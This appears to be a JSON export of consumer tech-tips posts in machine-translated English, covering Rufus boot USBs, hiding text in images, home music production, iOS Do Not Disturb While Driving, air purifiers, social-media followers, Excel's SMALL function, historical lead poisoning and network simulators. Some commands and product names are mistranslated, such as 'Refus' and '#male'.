reinstall, you just have to copy the file to reinstall and then use it as usual without doing it again (unless you have Format USB then you have to do it again).\nMethod 2: Use the software Rufus I think this software is quite good and very light to support creating usb to install win under both 2 standards, you just need to set up a little bit to finish.\nWith this software, you can create usb to install win under both UEFI and LEGACY standards.\nFirst you need to download Rufus software first, very light software only 1 MB. You should use the Portable version so you don't have to install it.\n#first. Download the Refus software (versions) Homepage: rufus.akeo.ie Refus version 3.1: Download link / Backup link /\u0026nbsp;Backup link Version 2.xx: Download link from homepage\nNote: Since version Refus 3.0 onwards, the tools no longer support Windows XP usb create more, thus to create usb win XP installed, you use the version Refus 2.xx offline.\n#2. Create USB Lagacy - MBR (common standard) See instructions here if you want to create a win-win USB according to LEGACY.\n# 3. Create USB standard UEFI - GPT with Rufus Refus version 2.xx and Refus version 3.xx have different interfaces so I will guide you to use on both versions.\n3.1. Use Refus version 3.xx to create Win USB   Looking at the picture above, you can see that the interface in version 3.xx has been improved and is much easier to use.\nTo create a USB install Win under UEFI / GPT standard, you just need to set up as follows:\n(1) Select the correct USB device you want to use. (2) Click SELECTto select the ISO file (the Windows installer you want to create). For UEFI standard, you should choose a 64-bit Windows installer. (3)\u0026nbsp; Partition scheme: You choose to beGPT (4) Target system: You choose isUEFI (non CSM) (5) You name your USB. (6) File system: You choose isFAT32 =\u0026gt; Finally click on START to start and wait until finished. Accomplished !\nImportant Note: If the Windows installer has\u0026gt; 4GB capacity, you should set up Refus 3.xx version as this guide. Some 64bit versions of Windows 10 today (since Version 1803, the size of the installer is quite heavy)!\n3.2. Use Refus version 2.xx to create Win USB Follow the instructions below to create UEFI bootable USB!\n Looking at the picture, you can imagine it, right, it's too simple to create a UEFI USB.\nSelect the path to the *.isoWindows file you downloaded. Select the USB you want to create. Select ' MBR partion scheme for UEFI computers ' (Note) Choose the format FAT 32. Name the USB. Click Startto start. Note: In the number (3) there are 3 options for you:\nMBR partion scheme for BIOS or UEFI computers: \u0026nbsp;This option will help you create USB BOOT / USB to install Windows according to BIOS standard and format the USB partition according to MBR standard. If you want to create a USB standard BIOS (LEGACY BIOS / CMS BIOS), you should choose this line. MBR partion scheme for UEFI computers: This option is to create a bootable USB under UEFI standard of the computer and format the USB partition according to MBR standard. GPT partion scheme for UEFI computers: \u0026nbsp;This option will create BOOT USB according to UEFI standard of computer and format USB partition according to GPT standard. =\u0026gt; To create usb install win UEFI standard, you can choose 1 of 2 options that are: MBR partion scheme for UEFI computersand GPT partion scheme for UEFI computers.\nBut in my opinion, you should choose the\u0026nbsp; MBR partion scheme for UEFI computers because the standard MBR USB partition format is common and is better compatible than the GPT standard.\nOkey! Finally, wait until the program is completed and you have a delicious UEFI USB flash drive.\nTips: In addition to the two ways that I have guided in great detail above, there is another very simple way that is. If you are using Windows 8 / 8.1 or Windows 10, please Format USB with FAT32 format =\u0026gt; then use Winrar to extract Windows installer directly to USB.\nIII. Epilogue Those are the 2 ways that I think are the easiest and anyone can do. Hopefully this article will answer you questions about how to install windows in UEFI standard. Good luck!!!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyunJ%2BhXajBorrDmqmdZaWor26uzqirZp%2BgqXqku82tmKKmmaO0bsDHnmSwoZ5ihHl5kGlkoqajqa6tuMSr\n","link":"/post/how-to-create-uefi-standard-usb-boot/","section":"post","tags":null,"title":"How to create UEFI standard USB BOOT"},{"body":"The security of personal information and data is something that everyone is interested in in any field such as social networks, when sharing data, . So there are many ways to secure data and content. like encrypting text or hiding information in images so that others cannot read the content.\nThere are a number of websites or add-ons installed on the browser that support users to hide content into images such as account numbers, phone numbers, or other types of personal information that need security. In the article below, Network Administrator will introduce you some tools to hide information and hide text on images.\nAdd a way to hide sensitive content on the Android device lock screen How to turn off the display of message preview content on iPhone 4 web browsers attach special importance to security A few ways to protect personal information that everyone should know and use when surfing the web 1. Hide information into pictures with Hide Text in Image Step 1:\nUsers install the Hide Text in Image utility on Chrome browser by following the link below.\nDownload the Hide Text in Image Chrome extension   Step 2:\nAfter installation is complete we click on the utility icon and will see the features that the utility provides to the user. If you click on Hide text in image, there will be options to hide the copy in the image.\n  Now we are moved through a new tab with the content hidden images. First, click Select image to select the image containing the content you want to hide. Then enter the Enter text to enter the information you want to hide. Click Ok to save the information.\n  For added security, click Enter password to enter the password. Finally click Encode to proceed to hide the content into the image. The utility conducts content security according to the AES-256 bit high encryption standard.\n  When the encryption is complete, the utility will notify you via pop-up shown on the screen as below.\n  Step 3:\nTo download images with encrypted content , we click Save to download the image. In the end we just need to share this image with others and they are completely invisible, unless we install the Hide Text in Image utility on the computer.\n  Step 4:\nTo decode the hidden content in the image , click the utility icon and select Read text hidden in image .\n  Step 5:\nAt this time, the interface will display the hidden content in the image. We click on Select image to download the image we want to decode. Enter the image security password at Enter password .\nThen click Decode utility to extract text in the image.\n  Step 6:\nWhen finished decoding the user has 2 options to continue reading the text content. Clicking View will see the text directly in the browser as a pop-up. If you click Save will view the content as a txt file that the utility extracts.\nTo proceed with encoding or decoding another image we click Reset.\n  2. How to hide content into images by TXTNINJA.XYZ Step 1:\nWe access the homepage TXTNINJA.XYZ by following the link below.\nhttps://txtninja.xyz/  Step 2:\nFirst, the user enters the text to send into the white box. Write or paste your Text . Next we press Select Image or Upload to download the image to hide the document content.\n  Step 3:\nUsers enter the security password for the image when others proceed to extract in the Enter Your Password box .\nIf the uploaded image is large , we turn on the Use Compression option to compress the image right on TXTNINJA.XYZ. Finally click Go to proceed to hide content into the image.\n  Step 4:\nResults scroll down below the user will see the text content, the password has been set for image security. Click Download image to save the image to your computer. Images are downloaded with png format and default image name. When others see the photo, they only see the normal image.\n  Step 5:\nTo extract the content in the image , we access the link below.\nhttps://txtninja.xyz/extractor.php  In this interface we enter the password protection of the image file. Continue to click the Upload button and select the image file containing the text you want to extract.\nClick Go to proceed to extract the content in the image.\n  Step 6:\nThe result will display the text content directly below in the same interface.\n  In the case of entering the wrong password will receive the message Sorry, no Text found as shown below.\n  With just a few simple operations, users have kept all information and important contents into the image confidential. When viewing normally, only images can be viewed but the image must be extracted to the tool for viewing content.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuwMSxq2ahnpu8s7nAraCopl2ku261zJqenqs%3D\n","link":"/post/how-to-hide-text-information-on-images/","section":"post","tags":null,"title":"How to hide text, information on images"},{"body":" In the past, making studio-quality music required lots of money and years of training in composition and instrumentation. Now, however, you can create beautiful songs at home with nothing more than a computer, some audio software, and a...\nPart 1of 3:\nEquipping Yourself to Make Music  Select a DAW. DAW stands for Digital Audio Workstation. Different DAWs have different system requirements, so knowing which DAW you'll use can help you determine the kind of computer you'll need to build or buy. There are many DAWs available, so you should research the one best for you, but a few popular options include:[1] Image-Line FL Studio, which is one of the more robust options in the Fruity Loops brand. As a bonus, this DAW generally includes free updates. Ableton Live is a popular choice among composers and performers. It integrates well with supplemental hardware, like synthesizers and the Push 2 controller. Think of controllers as a physical interface for your DAW. By pressing a button on a controller, you can create sound in your DAW.  Steinberg Cubase Pro is a well-balanced DAW with specialized digital tools, like the chromatic adjustment function in the Sampler Track interface. Avid Pro Tools is perhaps the best known DAW among lay-producers. Pro Tools is a dependable DAW that you'll find in many studios. Apple Logic Pro is relatively easy to use, with clear labels and intuitive graphical user interface. However, this DAW is only available for Apple products.[2] Reaper is a DAW you can download and use for a trial period of 60 days. Following that, you'll be asked to pay $60 or make a donation, but you'll still have the option to decline payment and continue using the program.   Buildor buy a computer. You can save money on computer costs with a low-end video card since you won't need sharp graphics to produce music. When using the DAWs Pro Tools, GarageBand, or Logic, consider buying a Mac, as these DAWs are either Mac only releases or run optimally with Mac specifications. Additionally: Prioritize laptops for live performing. If you don't plan on performing, a desktop computer will likely save you money, function better, and last longer. Choose a computer with a high processor speed. Your computer should have a 3.0 dual core processor, minimum. Outfit your music production computer with at least 8 GB of RAM and 500 GB of hard drive space. This will ensure you have enough space for a sound library and that your computer runs smoothly.[3]   Collect production equipment and accessories. Although DAWs can digitally reproduce many instruments, samples of live recordings often sound more authentic.[4] For this reason, you may want or need equipment like keyboards, synthesizers, microphones, controllers, electric guitars, and more. This equipment can be very expensive. Prioritize equipment from the most to least useful. Save money over time and buy equipment one piece at a time to build your stockpile. When evaluating equipment usefulness, think about your personal skills and abilities. If you are a trained drummer, for example, a digital drum kit would likely be useful. Production equipment can also reduce the processing/emulation your computer must do, which can help your computer run smoother. Controllers and synthesizers can make physically interacting with your DAW much more intuitive and natural.[5]   Educate yourself about your DAW and equipment. Watch YouTube tutorials for the DAW you've selected. Familiarize yourself with its features. Take notes from experienced users and tutorials on how to make your DAW produce music most efficiently.[6] Each DAW will be different and have different features. Even if you're somewhat familiar with the general layout of DAWs, it may take time and training before skillful usage comes naturally. There may be free courses online teaching how to use your particular DAW. Professional DAWs oftentimes have tutorials for owners. Search online to find and make use of these resources.  Part 2of 3:\nProducing Music with a Computer  Plan the track. Although there are exceptions, generally you should keep the number of parts (including vocals and instruments) in your track to about 5 or 6. Too many parts can create a muddy or oversaturated sound. Choose the tempo (speed) of the music by setting the metronome (sometimes marked by 'BPM' (Beats per Minute)). Research the genre of the track you're trying to create. Some genres have specific characteristics, like the typical 90 BPM range for pop songs or the 120 BPM range for house music. What do you, as a listener, want to hear in the genre of music you are making? This can be a useful guide to the instruments you choose and the tone of your track.   Build the foundation with a bassline. The bassline is comprised of low-tone pitches and percussion instruments, like drums. This should be fairly simple and repeatable without being tiresome. The trick of a strong bassline is to make it repetitive but catchy.[7] Low-tone notes on instruments besides drums can be a part of your bassline. Try including low-tone chords and low-tone single notes on the guitar and piano. Loop the main theme of your bassline so it's steady and plays for most of the track. This main theme may pause during the bridge or change slightly at transitions, like where the verse changes to the chorus.[8] The repetitive, twangy bass of Pink Floyd's hit song \"Money\" and the simple yet insistent low note pulse in \"My Generation\" by The Who are great examples of famous basslines.[9]   Come up with a melody. The melody is the main part of a track that you would hum along to. The melody is often reflected in the lead vocals. Generally, one instrument, one voice, or the combination of an instrument and a voice creates the melody.[10] The melody should sync with the pulse of the bassline. There are many instruments you can use to make the melody, but popular choices include the piano, guitar, trumpet, trombone, flute, violin, and more. Try to design your melody so it has contour. The rise and fall of the volume and tone of the melody will be more engaging to audiences. If you intend to have vocals, it's most common to have the vocals sing along with the melody. Write lyrics for your vocals if you plan on including them in your track.[11] Popular melodies that you might look to for inspiration for your own include \"I Want to Hold Your Hand\" by the Beatles and \"Respect\" by Aretha Franklin.[12]   Add in harmony. Choose one or two new instruments to add harmony to your track. Include these instruments at various points throughout the track. Use a note, a run of notes, or a chord with these instruments to create tension, build, or emphasis at important parts of the song or to highlight lyrics.[13] Add supplemental instruments sparingly to your track. Adding too many or having supporting instruments play too frequently can make your track heavy and the sound quality muddy.[14] Voices, too, can be added as a supplemental 'instrument.' A second/backup voice or chorus, especially during the chorus or emphatic parts, can be effective.[15] Listen to the operatic harmony in the internationally famous Queen song \"Bohemian Rhapsody,\" or the equally impressive harmonies of the Beach Boys in \"I Get Around.\"[16]   Emphasize suitable parts of your track. During the middle build of the song you'll likely want to increase volume and add instruments little by little for its duration. Add an instrument to highlight your favorite lyrics. Hit home the last chorus hard by using a backup chorus to add a sense of weight and depth.[17] When it comes to emphasizing your track, it's completely a matter of preference. Explore different techniques to find what works best for you. Unusual sounds, like air raid sirens, rain, and traffic, can sometimes have an unexpectedly positive effect on a track.[18] The bitter chorus of \"Mr. Brightside\" by the Killers is emphasized with additional instruments. Don McLean adds and removes instruments throughout \"American Pie\" to shift mood, heighten emotion, and more.   Finish your track. Mix your track. Assemble the different parts of the track in your DAW so they fit together seamlessly.[19]Master the track to ensure the volume is balanced between parts. Check any fades and the overall frequency of the song. Moderate extremes so the transition and quality between sounds are both smooth.[20] Keep the volume low when finishing your track. You'll likely spend many hours making small adjustments until you achieve your desired sound. Moderate and high volumes can damage your hearing over time. DAWs generally come with finishing tools, like those used for compression. With compression tools, as an example, you can more easily maintain consistent volume throughout a track.  Part 3of 3:\nExpanding Your Sound  Build your sound library. Your phone can be a powerful tool for capturing unique sounds. Snag samples of natural features, like rain or birds, snippets of catchy conversation, and music being played in the distance on a still day. Download sound packs from the website of your DAW producer. Ask to sample local bands, musical friends, and others. Organize your music library in an orderly system, much like you'd organize physical files. Use headings like \"brass,\" \"percussion,\" and \"acoustic guitars.\" Because of the wide variety in some categories, you may want to add subcategories under \"master\" headings. For example, you might separate \"high-hats\" and \"ride cymbals\" under the master heading for \"percussion.\"   Make use of plugins to save money when starting out. Plugins add new qualities to existing programs, like added on search engine features in your web browser. Music production plugins can be used for sound many purposes, like in sound editing, as a DAW, as a supplemental synthesizer, and more.\n  Familiarize yourself with audio editors. Audio editors help you remove static from recorded tracks, modify sound parameters (frequency) to reduce or adjust distortion, add effects, and more. Some highly ranked free audio editors that are useful for gaining familiarity with them include: Audacity is a powerful sound editing program that, even though free, manages to exceed some pay-to-use editing programs. It comes with a comprehensive manual and is approachable for beginners. Free Audio Editor has a clear user interface that makes this editor less intimidating. This program has an array of pre-made filters for things like breath and background noise reduction. Free MP3 Cutter and Editor is an excellent choice for simple edits or light finishing. Though somewhat less robust, this editor is great for things like splitting one long MP3 into multiple segments.[21]   Samuel Daniel Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuudSsoJxlpai2r7OMmmScp52lwrWx0Q%3D%3D\n","link":"/post/how-to-make-music-using-a-computer/","section":"post","tags":null,"title":"How to Make Music Using a Computer"},{"body":"For those who use the iPhone / iPad device, surely will know the feature does not disturb Do Not Disturb. And in iOS 11, there's a new Do Not Disturb While Driving feature that doesn't bother you while driving. When the user activates this feature, all notifications to the device will be blocked and the opponent will receive a notification when they call or message you. How to use the Do Not Disturb While Driving feature on iOS 11 will be in the following article.\n1. Customize the content to answer: When someone calls or textes you, the person will receive an automatic message and the user can customize the content of the message. This message will notify you that you are moving and will contact you when you arrive.\nWe click to select the path Settings\u0026gt; Do Not Disturb. The Do Not Disturb While Driving section click on Auto Reply . Here, users can see the content of the automatic message will be sent. We proceed to revise the message content at our discretion.\n   2. Urgent message (Urgent): As mentioned when the device switches to this mode, all messages will be ignored. So what about important, urgent messages or calls? Apple has calculated this situation so, when you use the Do Not Disturb While Driving feature, if someone calls or texts in a row, he or she will receive a message with the content requested by Urgent keyword . Thus the message or call will be forwarded to you.\n  3. Choose who will receive automatic messages: By default of the feature, only those in Favorites list will receive this automatic notification. We can turn off Auto Reply or choose to send to anyone in the list if desired.\nUsers click Settings\u0026gt; Do Not Disturb . Then pull down Do Not Disturb While Driving and select Auto-reply To . To turn off Auto Reply, we select No One. To send to anyone in your contacts, select All Contacts .\nMessages will automatically be sent via iMessages and SMS. If the person is not in the messaging or call list, the person will not receive an automated answering message. Automatic messages will still be charged to operators, such as normal messages via iMessages and SMS.\n   In addition to useful features Do not bother to prevent disturbing calls and messages, then with iOS 11 you will have Do Not Disturb While Driving, no bother when users are driving. In addition to the basic nature of blocking new information to the device, we can fully adjust the feedback content, customize the number of contacts to receive automatic messages, .\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmnZ6ZpKq%2FpnnDqGSnp6Risaq%2F066pm2WnnbKvecOroK%2Bhnpx6sLqMoqasZWFm\n","link":"/post/how-to-use-the-feature-do-not-disturb-when-driving-on-ios-11/","section":"post","tags":null,"title":"How to use the feature Do not disturb when driving on iOS 11"},{"body":"Air pollution in countries around the world is getting worse and worse.\u0026nbsp;\u0026nbsp;If this situation persists, the impact on the people's health is not small. The immediate solution we can actively overcome is to equip ourselves with an indoor air purifier. Today, TipsMake will suggest to you some popular air purifiers.\n1. Samsung Air Purifier AX34R3020WW / SV The Samsung AX34R3020WW / SV air purifier is one of the most voted air purifiers today by many users. On the Electric Green Machine sales page, the Samsung AX34R3020WW / SV air purifier is rated 5 stars by the user. Possessing a compact, modern design, the Samsung AX34R3020WW / SV air purifier is suitable for any home.\n  Another advantage of the Samsung AX34R3020WW / SV air purifier is that it can be easily moved, can reach the wall without affecting the operation of the machine. The range of the air purifier of the Samsung AX34R3020WW / SV is up to 34m2 with an operating power of 30W. With an operating range of up to 34m2, you can comfortably use the Samsung AX34R3020WW / SV air purifier even in the living room or bedroom.\nThe Samsung AX34R3020WW / SV air purifier is designed with 3 layers of coarse dust filter, activated carbon filter and HEPA filter to help remove pollen, deodorize the air, and reduce other harmful gases such as formaldehyde, 2.5PM ultrafine dust treatment well.\nSamsung AX34R3020WW / SV air purifier design has touch panel, clear display screen. Even for beginners, it is easy to customize automatic mode or sleep mode. Another special feature that is also very useful for families with young children is the child safety lock feature. This feature helps users to change the previous settings or manipulate incorrectly to ensure the machine operates more safely.\n2. Xiaomi Mi Air Purifier 3H air purifier If you are a fan of Xiaomi, the Mi Air Purifier 3H is not a bad choice. The Xiaomi Mi Air Purifier 3H air purifier received a lot of positive reviews from users. Xiaomi Mi Air Purifier 3H has a compact design that can connect to the Mi Home App so it is quite handy. On the App Mi Home you can set up operating modes such as automatic, night, manual or reminder time to replace the new filter over the wifi connection.\nIn addition, the Xiaomi Mi Air Purifier 3H air purifier also has a voice control mode that allows you to operate remotely through the Google Assistant installed on the phone. Xiaomi Mi Air Purifier 3H is equipped with an OLED display that displays real-time PM 2.5 readings, humidity, temperature, and a link to a smartphone allows you to monitor the air quality in your home.\nThe built-in dust sensor on the rear of the body is very responsive and precise. It helps detect dust particles, small odors or harmful substances in the air and displays it on the OLED screen. High-grade filter with 3 levels of filtration: coarse filter layer, activated carbon filter layer and HEPA layer.\n3. Kangaroo KG30AP1 air purifier The next product in the top of the best air purifiers today for your reference is the Kangaroo KG30AP1. The Kangaroo KG30AP1 air purifier fully integrates the necessary features to help you remove dirt and bacteria that are harmful to your health. Specifically, the Kangaroo KG30AP1 air purifier has a 3-layer HEPA filter consisting of a coarse dust filter array, an activated carbon filter and a HEPA filter.\n  Kangaroo KG30AP1 air purifier has a capacity of operation with a range of 20-30m2. For families with small rooms, the Kangaroo KG30AP1 air purifier is very suitable. Kangaroo KG30AP1 has a sensitive touch panel attached, on this screen allows you to display the necessary parameters to help you customize the operating modes of the device more accurately.\nIn particular, the infrared air sensor and color quality display make it easy to monitor the air condition in your room. Kangaroo KG30AP1 has a remote control, so you can customize the remote modes very conveniently.\nair purifier ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZmtdl7K0wIyaoKtloKq%2FqrLInqmsZaSksaLF\n","link":"/post/review-3-best-air-purifiers-today/","section":"post","tags":null,"title":"Review 3 best air purifiers today"},{"body":"Whether you are sharing selfies on Instagram, memes on Facebook, YouTube videos or LinkedIn business, you always want to know who is following all your words, links or photos. Knowing who is following can help you decide what content to share, who wants to reach the most and block someone when needed.\nUnfortunately, this information is not as easily accessible as you imagine. On some services you get very little information, while other services have features that allow you to detect spammers, programs and ads.\nHowever, don't be disappointed, there are many ways to find out who is watching your online activities. A specific website does not want to provide this feature does not mean third-party applications do not have. From YouTube subscribers to LinkedIn, friends, \"followers\" on Facebook and Instagram, we'll discover the best ways to see who they are!\n  1. See who is following you on Instagram\nSeeing people following you on Instagram has been difficult, but it's now much easier when the service has made big changes last year. You just need to log in to the website, click on the profile icon and then tap ' Followers '. By touching someone's name, you will see them following who and who is following them. If you follow someone again, just press the blue ' Follow ' button.\n  Previously, you used a third-party application, but in December 2016, Instagram made major changes to the terms and conditions that prevent third-party applications from using human information. Monitor for any purpose other than taking analytical information. However, unauthorized applications that still provide information Instagram say they should not do so. One of the best tracking apps is Followers \u0026amp; Likes Manager for Instagram, available for Apple devices.\n2. See who is following you on Twitter\nThe easiest way to see who tracks you on Twitter is to use the Twitter website or its application. Click \" Followers \" to see who is following you. This feature is very handy, but more data is available if you know where to find them. Twitter Analytics displays your most popular tweets, the people you follow and if you click on Audiences links , you can see the types of followers and know where they come from.\n  In addition, you can use ManageFlitter to easily find accounts by age, those who do not track you back and which accounts seem to be fake or spam accounts to be able to cancel tracking automatically. .\n3. See who is following you on Facebook\nThere are two ways to connect with people on Facebook: friends, friends who share explicitly on Facebook and followers, possibly strangers.\nHow to hide the Friend button and Follow button on Facebook Friends are always followers, but if you make posts in public mode, people who are not your friends can follow you. And if you skip or delete the friend request, those people will automatically become followers and can view your public posts.\n  To see who is following you, visit the profile page and click \" Friends\". Then click through the ' Followers ' tab to display a list of followers.\nMost followers are only interested in what you post, but if someone is following you for dangerous reasons it is possible to block them individually without disabling the tracking feature. To do this, visit the account settings page and look for Blocking (it is only in \" Privacy \"). This allows you to block everyone, restrict specific contacts or block messages, invitations to play games. You can also block other people from contacting you via Facebook Messenger.\n4. See who is following you on LinkedIn\nLinkedIn makes it easy to see who is following you. Click on the profile icon and select \" Manage\" , then select \" Posts and activity\" . You should now see a timeline with a box on the left side of the screen and the \"Manage\", \"Your followers\" and \"Your drafts\" options.\n  If clicking \"Your followers \" will see a screen of avatars arranged by the date they follow you (the most recent followers appear at the top). You can follow them back by clicking on the + sign .\nLinkedIn has another useful feature on the homepage that tells you who viewed your profile in the past 90 days, although to see the full list you will need to be a senior member.\n5. See who is following you on YouTube\nConnecting on YouTube has three types: subscribers, commenters, and people who like or dislike videos. To see them go to your account and click on link Creator Studio. The Analytics section provides an overview of channels and information such as viewers, their time at the channel, the device in use, etc.\n  The most important data you want to see here is \" Your followers\", where you can view the most recent subscribers and the number of likes and dislikes. You can view the identity of the people registered on the channel.\nAlthough Google provides personal information about commenters, the number of people who like and don't like to find out where your audience comes from, it doesn't allow you to identify people who like and dislike the video.\nncG1vNJzZmismaXArq3KnmWcp51kwKaxjLCfqGWZqHqnu8ulprChnpx6urvUZqanZZmjwLWtxquYpmWWlrCmrs6oomasp57BtbHRZpinnF2kwamx0WaqqJuZlrluusStrqiqm6g%3D\n","link":"/post/see-who-is-following-you-on-instagram-facebook-twitter-and-other-social-networks/","section":"post","tags":null,"title":"See who is following you on Instagram, Facebook, Twitter and other social networks"},{"body":"The following article introduces you to the SMALL function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the kth smallest value in a dataset.\nSyntax:  SMALL (array, k)\nInside:\n- array : The array or range of data points you want to determine the kth smallest value.\n- k: The order (from the smallest value) in the data array to be returned.\nAttention:\n- If array is empty -\u0026gt; the function returns the #NUM! Error value .\n- If \u0026nbsp;k ≤ 0 or k exceeds the number of data points in the array -\u0026gt; the function returns the #NUM! Error value\n- where n is the number of data points we have:\n+ SMALL (array, 1) -\u0026gt; returns the smallest value in the array.\n+ SMALL (array, n) -\u0026gt; returns the largest value in the array.\nFor example:\nCalculate the kth smallest value as described in the following data table:\n  - Calculate the second smallest value in array1. In a cell to calculate enter the formula : = SMALL (C6: C10,2)\n  - Press Enter -\u0026gt; the second smallest value in array1 is:\n  - Calculate the 3rd smallest value in array2. In a cell to calculate enter the formula: = SMALL (D6: D10,3)\n  In array2, there are 2 similar elements are 29 but the function is still arranged in 2 orders, 1 value is the 3rd and the value is 4th.\n- Calculate the 6th smallest value in array1. In a cell to calculate enter the formula: = SMALL (C6: C10,6)\n  Because array1 has only 5 elements, there is no 6th value -\u0026gt; the function returns the #NUM! Error value .\nAbove are instructions and some specific examples when using the SMALL function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kwK6ty6Vkn62emMGqu81mq6GdXZvCr6%2FToqanZaKawba%2BzaxkraCVYri1tIyspJqknJrAtXnVmqOunV2eu26tjJ2YrZmjmsFutc1mnLGblaE%3D\n","link":"/post/small-function-the-function-returns-the-kth-smallest-value-in-a-dataset-in-excel/","section":"post","tags":null,"title":"SMALL function - The function returns the kth smallest value in a dataset in Excel"},{"body":"Historically there have been many dangerous types of lead poisoning, adversely affecting human health, making us fearless.\n\nAncient Roman According to research by Canadian scientist Jerome Nriagu, most of the ancient Roman emperors were seriously poisoned by lead. This was the result after Jerome Nriagu checked the diet of 30 Roman emperors from 30 BC - in 220 AD.\n  Since ancient times, the Romans used items from lead, copper to cook food, make wine, make cosmetics or water pipes. This caused the ancient emperors and Romans to suffer from chronic diseases caused by long-term lead poisoning .\nEven water in the Tiber River has a lead content exceeding 100 times. The use of lead water is also the cause of human poisoning without them knowing it.\nAccording to Jerome Nriagu's research, the main source of poisoning in ancient Rome was lead in food and wine. The lead poisoning caused young Roman emperors to die and this was also an important reason for the collapse of the Roman empire.\nChronic lead poisoning Genius composer Ludwig van Beethoven died at the age of 57. According to medical conclusions at the time, he died of cirrhosis and abdominal cavity. But there are many assumptions that the composer died due to lead poisoning.\n  Until 2005, there was evidence of the cause of the composer's death after Beethoven's bone analysis results were published. Accordingly, the amount of lead accumulated in Beethoven's cells is too high, 100 times more than normal. Perhaps the main cause of the genius composer's death.\nBut, why Beethoven suffered from lead poisoning is still a mystery. Some people believe that the wine that Beethoven regularly drinks is the cause. Because, wine at that time was filtered with lead oxide (PbO) which led to the famous lead composer poisoning lead at any time. But, it is also suggested that water containing lead precipitate that Beethoven drinks at hot springs to cure his deafness on the advice of doctors is the cause of lead poisoning for the composer. .\nLead poisoning from alcohol When excavating 17 male remains from the Royal Navy Hospital cemetery in Antigua, the experts were surprised to find the bones of 14 of them with bone lead levels of up to 13 - 336 ppm (80 ppm is lead poisoning).\n  In ancient times, members of the Royal Navy crew were staffed for a certain amount of alcohol. This is the type of hard liquor suspected of lead poisoning distilled in Antiguan in the 18th century, causing poisoning to the lobes. That's why these 17 people were buried in Antiguan.\nncG1vNJzZmismaXArq3KnmWcp51kwaa%2B0aKZpZ1dqcaxsdJmpp9lnJqupXnPqKCsp56eu6h5yKdkoaGjqbyzxQ%3D%3D\n","link":"/post/terrible-types-of-lead-poisoning-in-history/","section":"post","tags":null,"title":"Terrible types of lead poisoning in history"},{"body":"TipsMake.com - In the field of IT in particular, the most important requirement of learners is practice. There are practice, new learners themselves and deep understanding of theoretical knowledge. With the computer network industry, the demand for practice is also on top .\nHowever, in terms of the lack of equipment such as today, learners, especially students, have less practical conditions to practice, especially for expensive devices such as switches, dedicated routers. . At the same time, it's not feasible to design and run large network systems. Therefore, learners need the tools to support learning, from simple to intensive. Software that simulates network devices and computer networks will be the answer.\n1. Cisco Packet Tracer As a free software, Packet Tracer is distributed free of charge to Cisco users. The latest version is currently 7.0. With this emulator, learners possess a sizable set of network practice devices such as Routers, Switches, Wireless Devices, End Devices (PC, Laptop, IP Phone .), and Connections (all kinds of cables). .\nBesides, the installation and use of this tool is also very simple. After downloading the installation file, you unzip, double-click the installation file and follow the default steps according to the instructions screen to install the tool on your computer. Once completed, you start using the device type in the bottom right corner, such as Switches . Next, select the corresponding device, such as 2960 and drag and drop into the design frame in the middle. To create a connection between devices, select the Connections type and select the appropriate cable type.\n  Packet Tracer Help is also well organized by Cisco. With Help / Contents menu, you will explore all the necessary, relevant tool guide information. In particular, with Help / Tutorials , you will be able to see the video tutorials visually according to specific situations. Thereby, you will quickly understand and make the most of Packet Tracer's ability to effectively serve your learning needs.\nVersion 6.0 does not need to register for a Cisco account, you can download Cisco Packet Tracer 6.0 here.\nNewer version 7.0 you need to have an account on netacad.com, I have the download file available, but when it is installed, you still have to log in with your account to open the software.\nDownload Cisco Packet Tracer 7.0 for Windows 32bit || Windows 64bit || Linux 32bit || Linux 64bit\nNote : the above instructions are used to install Packet Tracer on Windows. You can also consult online to find out how to install this tool on Linux when needed.\n2. Dynamips / Dynagen Dynamips is a Cisco Router simulator written by Christophe Fillot. This program can emulate routers 1700, 2600, 3600, 3700, and 7200, and run standard IOS. According to Christophe Fillot, this program is useful in training activities, with the IOS of real routers. It will allow people to become familiar with Cisco devices. Dynamips also help users test and test the features of Cisco IOSs. While it is impossible to replace the real router, Dynamips is a useful tool in labs, enabling learners or network administrators to fully implement the same commands as they do on the actual device.\nDownload Dynamips / Dynagen: sourceforge.net/projects/dyna-gen/ Since the standalone configuration is only difficult for Dynamips, the Dynagen program was created. Dynagen provides a simpler and more convenient configuration interface, creates simpler configuration files . thereby making it much easier for users to configure routers emulated on Dynamips.\nYou can refer to dynagen.org/tutorial.htm, to learn more about Dynamips / Dynagen and to do the installation steps.\n3. Network Simulator (NS2) If Packet Tracer is a tool that provides quite a lot of devices for you to deploy network systems, perform detailed configuration on each device, NS2 is a software with a deeper range. This tool will help you simulate network systems and control internal parameters, such as: how many Mbps do you need to configure throughput from node A to node B? Which protocol to use is more efficient? How do the number of packets fall to the minimum .? How to measure, evaluate and optimize network performance .?\nDownload Network Simulator NS2: sourceforge.net/projects/nsnam/files\nNS2 works stably on Ubuntu OS. Here, we will install ns-2.34 (latest version) on Ubuntu-9.04. To start, download the package ns-allinone-2.34.tar.gz in the link above. Once you're done, on your Ubuntu computer, right-click on the downloaded package, select Extract Here to extract it. Next, open the command line window by going to Applications \u0026gt; Accessories \u0026gt; Terminal menu and typing the following command to update the installation packages on Ubuntu:\n $ sudo -i # apt-get update  After the update is complete, move to the folder containing the source ns-allinone-2.34 to install: #cd /home/hdhhac/ns-allinone-2.34 (archive directory ns-allinone-2.34 on Ubuntu machines)\n #. / install  Note : if installed on Windows, the process will be more difficult and NS2 is not stable. You can refer to it online to find out how to install this tool on Windows when you need it. After completing the installation process, you start designing the network model by typing 'nam' at the command line:\n $ sudo -i #male  In the Nam Console v1.14 window, go to File \u0026gt; New South Editor menu to create a new model. In the design screen, click on the icons in the toolbar and click on the design area to create the network model at your disposal.\n  Maybe, NS2 will be a little more difficult for beginners. But with its superior features, it supports the deployment of most networked systems from wired to wireless, supporting most popular and improved protocols, which are widely used at home and abroad, Free and run on both Ubuntu and Windows . NS2 will definitely be an indispensable tool for anyone interested in computer networks, especially in-depth design.\n4. NetSim Standard   \nNetSim is an excellent network simulation software for modeling as well as simulating protocols, network R\u0026amp;D and defense applications.It allows you to analyze computer systems with unprecedented depth, power and 